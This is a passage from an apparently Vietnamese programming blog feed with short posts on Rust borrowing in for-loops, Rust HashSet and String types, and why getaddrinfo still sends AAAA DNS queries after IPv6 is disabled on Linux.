<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">v2</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">v2</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Lần này compiler lại báo lỗi, nhưng không phải do v nữa mà ở i:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="o">-</span>-> <span class="nc">src</span><span class="o">/</span><span class="n">main</span><span class="p">.</span><span class="n">rs</span>:<span class="mi">8</span>:<span class="mi">17</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">v2</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">i</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">----</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">expected</span><span class="w"> </span><span class="err">`</span><span class="kt">i32</span><span class="err">`</span><span class="p">,</span><span class="w"> </span><span class="n">found</span><span class="w"> </span><span class="err">`</span><span class="o">&</span><span class="p">{</span><span class="n">integer</span><span class="p">}</span><span class="err">`</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">arguments</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">incorrect</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="n">note</span>: <span class="nc">method</span><span class="w"> </span><span class="n">defined</span><span class="w"> </span><span class="n">here</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span>-> <span class="o">/</span><span class="n">rustc</span><span class="o">/</span><span class="mi">84</span><span class="n">c898d65adf2f39a5a98507f1fe0ce10a2b8dbc</span><span class="o">/</span><span class="n">library</span><span class="o">/</span><span class="n">alloc</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">vec</span><span class="o">/</span><span class="k">mod</span><span class="p">.</span><span class="n">rs</span>:<span class="mi">1836</span>:<span class="mi">12</span><span class="w"></span>
<span class="n">help</span>: <span class="nc">consider</span><span class="w"> </span><span class="n">dereferencing</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">borrow</span><span class="w"></span>
<span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">v2</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="o">*</span><span class="n">i</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>khi borrow v thì i cũng là borrow, để thêm i vào vector v2 type Vec<i32>, phải dereferencing i:</p>
<div class="highlight"><pre><span></span><code> v2.push(*i);
</code></pre></div>
<p>Trông sẽ không được đẹp mắt, ví dụ khi thêm 1 tuple vào v3:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="mi">10</span><span class="p">,</span><span class="mi">20</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">40</span><span class="p">];</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">v3</span>: <span class="nb">Vec</span><span class="o"><</span><span class="p">(</span><span class="kt">i32</span><span class="p">,</span><span class="w"> </span><span class="kt">i32</span><span class="p">)</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[];</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">v3</span><span class="p">.</span><span class="n">push</span><span class="p">((</span><span class="o">*</span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">i</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Có thể dereferencing i ngay tại vòng for:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="o">&</span><span class="n">i</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">v3</span><span class="p">.</span><span class="n">push</span><span class="p">((</span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<h2>Kết luận</h2>
<p>for thực hiện move giá trị, borrow để dùng nhiều lần.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Máy không có IPv6, ai query DNS record AAAA?2023-12-10T00:00:00+07:002023-12-10T00:00:00+07:00hvntag:familug.github.io,2023-12-10:/may-khong-co-ipv6-ai-query-dns-record-aaaa.html<p>Đa phần các máy tính vào cuối 2023 đều đã sử dụng IPv6, đặc biệt là các Linux server. Nhưng khi đã tắt IPv6, disable qua sysctl:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># sysctl -w net.ipv6.conf.all.disable_ipv6=1</span>
</code></pre></div>
<p>bật tcpdump vẫn thấy các ứng dụng query AAAA record (lấy địa chỉ IPv6 tương …</p><p>Đa phần các máy tính vào cuối 2023 đều đã sử dụng IPv6, đặc biệt là các Linux server. Nhưng khi đã tắt IPv6, disable qua sysctl:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># sysctl -w net.ipv6.conf.all.disable_ipv6=1</span>
</code></pre></div>
<p>bật tcpdump vẫn thấy các ứng dụng query AAAA record (lấy địa chỉ IPv6 tương ứng với domain), tại sao?</p>
<h2>Thí nghiệm</h2>
<p>Mở 1 cửa sổ chạy tcpdump port 53:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@box</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">tcpdump</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="mi">53</span><span class="w"></span>
<span class="nl">tcpdump</span><span class="p">:</span><span class="w"> </span><span class="n">verbose</span><span class="w"> </span><span class="k">output</span><span class="w"> </span><span class="n">suppressed</span><span class="p">,</span><span class="w"> </span><span class="k">use</span><span class="w"> </span><span class="o">-</span><span class="n">v</span><span class="o">[</span><span class="n">v</span><span class="o">]</span><span class="p">...</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">full</span><span class="w"> </span><span class="n">protocol</span><span class="w"> </span><span class="n">decode</span><span class="w"></span>
<span class="n">listening</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">eth0</span><span class="p">,</span><span class="w"> </span><span class="n">link</span><span class="o">-</span><span class="n">type</span><span class="w"> </span><span class="n">EN10MB</span><span class="w"> </span><span class="p">(</span><span class="n">Ethernet</span><span class="p">),</span><span class="w"> </span><span class="n">snapshot</span><span class="w"> </span><span class="n">length</span><span class="w"> </span><span class="mi">262144</span><span class="w"> </span><span class="n">bytes</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
</code></pre></div>
<p>Mở cửa sổ khác, bật Python3, import socket và gọi các function để lấy địa chỉ IP từ tên miền:</p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="kn">import</span> <span class="nn">socket</span>
<span class="o">>>></span> <span class="n">socket</span><span class="o">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="s2">"pymi.vn"</span><span class="p">)</span>
<span class="s1">'104.21.61.168'</span>
<span class="o">>>></span> <span class="n">socket</span><span class="o">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="s2">"pymi.vn"</span><span class="p">)</span>
<span class="s1">'172.67.212.45'</span>
<span class="o">>>></span> <span class="n">socket</span><span class="o">.</span><span class="n">getaddrinfo</span><span class="p">(</span><span class="s2">"familug.org"</span><span class="p">)</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
<span class="n">File</span> <span class="s2">"<stdin>"</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o"><</span><span class="n">module</span><span class="o">></span>
<span class="ne">TypeError</span><span class="p">:</span> <span class="n">getaddrinfo</span><span class="p">()</span> <span class="n">missing</span> <span class="mi">1</span> <span class="n">required</span> <span class="n">positional</span> <span class="n">argument</span><span class="p">:</span> <span class="s1">'port'</span>
<span class="o">>>></span> <span class="n">socket</span><span class="o">.</span><span class="n">getaddrinfo</span><span class="p">(</span><span class="s2">"familug.org"</span><span class="p">,</span> <span class="mi">443</span><span class="p">)</span>
<span class="p">[(</span><span class="o"><</span><span class="n">AddressFamily</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">:</span> <span class="mi">2</span><span class="o">></span><span class="p">,</span> <span class="o"><</span><span class="n">SocketKind</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">:</span> <span class="mi">1</span><span class="o">></span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="p">(</span><span class="s1">'216.239.32.21'</span><span class="p">,</span> <span class="mi">443</span><span class="p">)),</span> <span class="p">(</span><span class="o"><</span><span class="n">AddressFamily</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">:</span> <span class="mi">2</span><span class="o">></span><span class="p">,</span> <span class="o"><</span><span class="n">SocketKind</span><span class="o">.</span><span class="n">SOCK_DGRAM</span><span class="p">:</span> <span class="mi">2</span><span class="o">></span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="p">(</span><span class="s1">'216.239.32.21'</span><span class="p">,</span> <span class="mi">443</span><span class="p">)),</span> <span class="p">(</span><span class="o"><</span><span class="n">AddressFamily</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">:</span> <span class="mi">2</span><span class="o">></span><span class="p">,</span> <span class="o"><</span><span class="n">SocketKind</span><span class="o">.</span><span class="n">SOCK_RAW</span><span class="p">:</span> <span class="mi">3</span><span class="o">></span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="p">(</span><span class="s1">'216.239.32.21'</span><span class="p">,</span> <span class="mi">443</span><span class="p">))]</span>
<span class="o">>>></span>
</code></pre></div>
<p>Đoạn code trên sử dụng <code>gethostbyname</code>, một function cổ điển để lấy IP, tương ứng với function trên C, xem <code>man 3 gethostbyname</code>.</p>
<p>Kết quả tcpdump sẽ chỉ có IPv4:</p>
<div class="highlight"><pre><span></span><code><span class="m">12</span>:21:25.019583 IP box.41423 > <span class="m">192</span>.168.122.1.domain: <span class="m">57705</span>+ A? pymi.vn. <span class="o">(</span><span class="m">25</span><span class="o">)</span>
<span class="m">12</span>:21:25.020054 IP <span class="m">192</span>.168.122.1.domain > box.41423: <span class="m">57705</span> <span class="m">2</span>/0/0 A <span class="m">172</span>.67.212.45, A <span class="m">104</span>.21.61.168 <span class="o">(</span><span class="m">57</span><span class="o">)</span>
</code></pre></div>
<p>Còn khi query familug.org, sử dụng function <code>getaddrinfo</code> kèm them port 443, kết quả</p>
<div class="highlight"><pre><span></span><code><span class="m">12</span>:21:39.722169 IP box.49228 > <span class="m">192</span>.168.122.1.domain: <span class="m">29210</span>+ A? familug.org. <span class="o">(</span><span class="m">29</span><span class="o">)</span>
<span class="m">12</span>:21:39.722208 IP box.49228 > <span class="m">192</span>.168.122.1.domain: <span class="m">23059</span>+ AAAA? familug.org. <span class="o">(</span><span class="m">29</span><span class="o">)</span>
<span class="m">12</span>:21:39.889210 IP <span class="m">192</span>.168.122.1.domain > box.49228: <span class="m">29210</span> <span class="m">1</span>/0/0 A <span class="m">216</span>.239.32.21 <span class="o">(</span><span class="m">45</span><span class="o">)</span>
<span class="m">12</span>:21:39.896108 IP <span class="m">192</span>.168.122.1.domain > box.49228: <span class="m">23059</span> <span class="m">0</span>/1/0 <span class="o">(</span><span class="m">90</span><span class="o">)</span>
</code></pre></div>
<p>thấy có query id 23059 <code>AAAA? familug.org.</code> và kết quả 0/1/0.</p>
<p><code>gethostbyname</code> đã rất cũ và hiện nay được coi là <strong>obsoleted</strong> (lỗi thời), các ứng dụng hiện đại đều được khuyên dùng <code>getaddrinfo</code>.</p>
<blockquote>
<p>The obsolescent h_errno external integer, and the obsolescent gethostbyaddr() and gethostbyname() functions are removed, along with the HOST_NOT_FOUND, NO_DATA, NO_RECOVERY, and TRY_AGAIN macros.
<a href="https://pubs.opengroup.org/onlinepubs/9699919799/">https://pubs.opengroup.org/onlinepubs/9699919799/</a></p>
</blockquote>
<p>Vậy nên dù máy không có IPv6, ứng dụng vẫn gọi <code>getaddrinfo</code>, function này vẫn sẽ lấy địa chỉ IPv6 của domain tương ứng.</p>
<p>Và có vẻ như không thể dễ dàng disable tính năng nay, tức các ứng dụng sẽ luôn query IPv6 dù muốn hay không.</p>
<h2>Kết luận</h2>
<p>AAAA là DNS record IPv6, <code>getaddrinfo</code> luôn lấy cả 4 và 6... để được điểm 10.</p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://serverfault.com/questions/632665/how-to-disable-aaaa-lookups">How to disable AAAA lookups?</a></li>
<li>man 3 gethostbyname</li>
<li>man 3 getaddrinfo</li>
</ul>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>24 ngày học Rust - ngày 2 set2023-12-06T00:00:00+07:002023-12-06T00:00:00+07:00hvntag:familug.github.io,2023-12-06:/24-ngay-hoc-rust-ngay-2-set.html<p>Kiểu set chỉ chứa mỗi phần tử 1 lần duy nhất, loại bỏ các phần tử trùng lặp. Ví dụ sau chỉ thấy có 1 số <code>1</code>.</p>
<h2>HashSet - kiểu dữ liệu set</h2>
<p>Rust có sẵn kiểu set có tên HashSet, cần phải import từ thư viện "collections"</p>
<div class="highlight"><pre><span></span><code><span class="k">use</span><span class="w"> </span><span class="n">std</span>::<span class="n">collections …</span></code></pre></div><p>Kiểu set chỉ chứa mỗi phần tử 1 lần duy nhất, loại bỏ các phần tử trùng lặp. Ví dụ sau chỉ thấy có 1 số <code>1</code>.</p>
<h2>HashSet - kiểu dữ liệu set</h2>
<p>Rust có sẵn kiểu set có tên HashSet, cần phải import từ thư viện "collections"</p>
<div class="highlight"><pre><span></span><code><span class="k">use</span><span class="w"> </span><span class="n">std</span>::<span class="n">collections</span>::<span class="n">HashSet</span><span class="p">;</span><span class="w"></span>
<span class="k">pub</span><span class="w"> </span><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HashSet</span>::<span class="n">new</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="fm">dbg!</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="c1">//[src/main.rs:8] &s = {</span>
<span class="c1">// 2,</span>
<span class="c1">// 1,</span>
<span class="c1">// 3,</span>
<span class="c1">//}</span>
</code></pre></div>
<p>Kiểu set không có thứ tự của các phần tử, kết quả print có thể khác ví dụ trên và khác ở mỗi lần chạy code.</p>
<h2>Tạo set từ vector, iterator</h2>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">cs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"abcddcba"</span><span class="p">.</span><span class="n">chars</span><span class="p">();</span><span class="w"></span>
<span class="kd">let</span><span class="w"> </span><span class="n">s1</span>: <span class="nc">HashSet</span><span class="o"><</span><span class="kt">char</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HashSet</span>::<span class="n">from_iter</span><span class="p">(</span><span class="n">cs</span><span class="p">);</span><span class="w"></span>
<span class="fm">dbg!</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span><span class="w"></span>
<span class="c1">// s1 = {</span>
<span class="c1">// 'd',</span>
<span class="c1">// 'a',</span>
<span class="c1">// 'c',</span>
<span class="c1">// 'b',</span>
<span class="c1">//}</span>
<span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">];</span><span class="w"></span>
<span class="kd">let</span><span class="w"> </span><span class="n">s2</span>: <span class="nc">HashSet</span><span class="o"><</span><span class="kt">i64</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HashSet</span>::<span class="n">from_iter</span><span class="p">(</span><span class="n">v</span><span class="p">);</span><span class="w"></span>
<span class="fm">dbg!</span><span class="p">(</span><span class="n">s2</span><span class="p">);</span><span class="w"></span>
<span class="c1">// s2 = {</span>
<span class="c1">// 3,</span>
<span class="c1">// 1,</span>
<span class="c1">// 2,</span>
<span class="c1">//}</span>
</code></pre></div>
<h3>HashSet có đủ mọi method cho set</h3>
<p>Như Python, Rust HashSet có đủ các method</p>
<ul>
<li>union (Python |)</li>
<li>difference (Python -)</li>
<li>contains (Python >)</li>
<li>intersection (Python &)</li>
<li>symmetric_difference (Python ^)</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">s2</span>: <span class="nc">HashSet</span><span class="o"><</span><span class="kt">i64</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HashSet</span>::<span class="n">from_iter</span><span class="p">(</span><span class="fm">vec!</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">]);</span><span class="w"></span>
<span class="kd">let</span><span class="w"> </span><span class="n">s3</span>: <span class="nc">HashSet</span><span class="o"><</span><span class="kt">i64</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">HashSet</span>::<span class="n">from_iter</span><span class="p">(</span><span class="fm">vec!</span><span class="p">[</span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">]);</span><span class="w"></span>
<span class="c1">// pub fn symmetric_difference<'a>(&'a self, other: &'a HashSet<T, S>) -> SymmetricDifference<'a, T, S></span>
<span class="c1">// s2.symmetric_difference(&s3) = [</span>
<span class="c1">// 1,</span>
<span class="c1">// 5,</span>
<span class="c1">//]</span>
</code></pre></div>
<h3>Tạo vector từ HashSet</h3>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Vec</span>::<span class="n">from_iter</span><span class="p">(</span><span class="n">s3</span><span class="p">);</span><span class="w"></span>
<span class="fm">dbg!</span><span class="p">(</span><span class="o">&</span><span class="n">v</span><span class="p">);</span><span class="w"></span>
<span class="c1">// &v = [</span>
<span class="c1">// 5,</span>
<span class="c1">// 2,</span>
<span class="c1">// 3,</span>
<span class="c1">//]</span>
</code></pre></div>
<h2>Kết luận</h2>
<p>Rust tuy gõ type dài hơn một chút, nhưng vẫn có set tiện như Python.
Ngôn ngữ nào không có kiểu set builtin? Go!</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>24 ngày học Rust - ngày 1 String2023-12-02T00:00:00+07:002023-12-02T00:00:00+07:00hvntag:familug.github.io,2023-12-02:/24-ngay-hoc-rust-ngay-1-string.html<p>Loạt bài viết giới thiệu các khái niệm trong Rust.
Không quá chi tiết, đa phần ngắn gọn, mục tiêu trong 24 ngày.</p>
<p>PS: Là note khi giải <a href="https://adventofcode.com">https://adventofcode.com</a></p>
<h2>Cài đặt & chạy code</h2>
<p>Tham khảo <a href="https://pp.pymi.vn/article/aoc2021/">https://pp.pymi.vn/article/aoc2021/</a></p>
<p>Bài viết sử dụng <a href="https://doc.rust-lang.org/edition-guide/rust-2021/index.html">Rust 2021</a>.</p>
<h2>String …</h2><p>Loạt bài viết giới thiệu các khái niệm trong Rust.
Không quá chi tiết, đa phần ngắn gọn, mục tiêu trong 24 ngày.</p>
<p>PS: Là note khi giải <a href="https://adventofcode.com">https://adventofcode.com</a></p>
<h2>Cài đặt & chạy code</h2>
<p>Tham khảo <a href="https://pp.pymi.vn/article/aoc2021/">https://pp.pymi.vn/article/aoc2021/</a></p>
<p>Bài viết sử dụng <a href="https://doc.rust-lang.org/edition-guide/rust-2021/index.html">Rust 2021</a>.</p>
<h2>String, &str</h2>
<p>Rust có 2 kiểu string thường dùng là str và String.</p>
<h3>str - string slice</h3>
<p><code>str</code> còn được gọi là <strong>string slice</strong>, thường được dùng ở dạng "borrowed" <code>&str</code>.
Kiểu của các string khi viết trực tiếp vào code (literal string) là <code>&str</code>.
<code>str</code> dùng double quote <code>"</code> để bao quanh nội dung:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">s</span>: <span class="kp">&</span><span class="kt">str</span> <span class="o">=</span><span class="w"> </span><span class="s">"Hello, world!"</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<h3>String</h3>
<p><code>String</code> là một UTF-8 string có thể thay đổi.</p>
<blockquote>
<p>A UTF-8–encoded, growable string.</p>
</blockquote>
<p><code>String</code> làm chủ sở hữu giá trị của nó nên còn gọi là <strong>owned string</strong> - trái với <code>&str</code> là <strong>borrowed</strong> (đi mượn).</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">s</span>: <span class="nb">String</span> <span class="o">=</span><span class="w"> </span><span class="nb">String</span>::<span class="n">from</span><span class="p">(</span><span class="s">"Hello, world!"</span><span class="p">);</span><span class="w"></span>
<span class="fm">dbg!</span><span class="p">(</span><span class="n">s</span><span class="p">);</span><span class="w"></span>
<span class="c1">// [src/main.rs:6] s = "Hello, world!"</span>
</code></pre></div>
<p>Thêm (append) vào String với <code>push(char)</code> hay <code>push_str(&str)</code>.</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">res</span>: <span class="nb">String</span> <span class="o">=</span><span class="w"> </span><span class="nb">String</span>::<span class="n">from</span><span class="p">(</span><span class="s">"Hello, world!"</span><span class="p">);</span><span class="w"></span>
<span class="n">res</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="sc">'\t'</span><span class="p">);</span><span class="w"></span>
<span class="n">res</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="s">"How are you?"</span><span class="p">);</span><span class="w"></span>
<span class="c1">// [src/main.rs:10] res = "Hello, world!\tHow are you?"</span>
</code></pre></div>
<h3>String vs &str</h3>
<p><code>String</code> và <code>&str</code> có nhiều method giống nhau: <code>starts_with</code>, <code>ends_with</code>, <code>split</code>, <code>replace</code>, <code>is_digit</code>...</p>
<p>Sự khác biệt chủ yếu ở mục đích sử dụng:</p>
<ul>
<li>Dùng <code>String</code> khi tạo string mới hay nội dung string thay đổi.</li>
<li>Dùng <code>&str</code> khi nội dung string cố định, không mới.</li>
</ul>
<p>Method <code>replace</code> cho thấy sự khác biệt này:</p>
<div class="highlight"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span> <span class="nf">replace</span><span class="o"><'</span><span class="na">a</span><span class="p">,</span><span class="w"> </span><span class="n">P</span><span class="o">></span><span class="p">(</span><span class="o">&'</span><span class="na">a</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">from</span>: <span class="nc">P</span><span class="p">,</span><span class="w"> </span><span class="n">to</span>: <span class="kp">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="nb">String</span>
<span class="nc">where</span><span class="w"></span>
<span class="w"> </span><span class="n">P</span>: <span class="nc">Pattern</span><span class="o"><'</span><span class="na">a</span><span class="o">></span><span class="p">,</span><span class="w"></span>
</code></pre></div>
<p><code>"a b c a".replace("a", "d")</code> trả về 1 <code>String</code>. Có thể hiểu rằng do Rust cần cấp phát bộ nhớ để tạo ra 1 String có nội dung mới, nên đây là kiểu <code>String</code> thay vì <code>&str</code>.</p>
<p>Đọc nội dùng 1 file cũng trả về String:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">contents</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span>::<span class="n">fs</span>::<span class="n">read_to_string</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">).</span><span class="n">unwrap</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span> <span class="nf">read_to_string</span><span class="o"><</span><span class="n">P</span><span class="o">></span><span class="p">(</span><span class="n">path</span>: <span class="nc">P</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">io</span>::<span class="nb">Result</span><span class="o"><</span><span class="nb">String</span><span class="o">></span><span class="w"></span>
<span class="k">where</span><span class="w"></span>
<span class="w"> </span><span class="n">P</span>: <span class="nb">AsRef</span><span class="o"><</span><span class="n">Path</span><span class="o">></span><span class="p">,</span><span class="w"></span>
</code></pre></div>
<p>Dùng <code>"abc".to_string()</code> để biến <code>&str</code> thành <code>String</code>, ngược lại <code>String::from("abc").as_str()</code> để biến <code>String</code> thành <code>&str</code>.</p>
<h3>Split</h3>
<p><code>"a-b-c".split("-")</code> trả về một <code>Split</code> struct, hay full name <code>std::str::Split</code> chứ không phải 1 vector <code>Vec<&str></code>.</p>
<div class="highlight"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span> <span class="nf">split</span><span class="o"><'</span><span class="na">a</span><span class="p">,</span><span class="w"> </span><span class="n">P</span><span class="o">></span><span class="p">(</span><span class="o">&'</span><span class="na">a</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">pat</span>: <span class="nc">P</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">Split</span><span class="o"><'</span><span class="na">a</span><span class="p">,</span><span class="w"> </span><span class="n">P</span><span class="o">></span><span class="w"></span>
<span class="k">where</span><span class="w"></span>
<span class="w"> </span><span class="n">P</span>: <span class="nc">Pattern</span><span class="o"><'</span><span class="na">a</span><span class="o">></span><span class="p">,</span><span class="w"></span>
</code></pre></div>
<p><code>Split</code> implement <code>Iterator</code> trait (hay nói như Python: list là 1 iterable, có method <code>__iter__</code>)</p>
<p>nên có thể duyệt qua từng phần tử của kết quả, mỗi phần tử là 1 <code>&str</code> cho dù <code>s</code> là <code>&str</code> hay <code>String</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">sp</span>: <span class="nc">std</span>::<span class="kt">str</span>::<span class="n">Split</span><span class="o"><&</span><span class="kt">str</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"bacadae"</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"a"</span><span class="p">);</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">sp</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">dbg!</span><span class="p">(</span><span class="n">p</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">let</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span>::<span class="n">from</span><span class="p">(</span><span class="s">"bacadae"</span><span class="p">);</span><span class="w"></span>
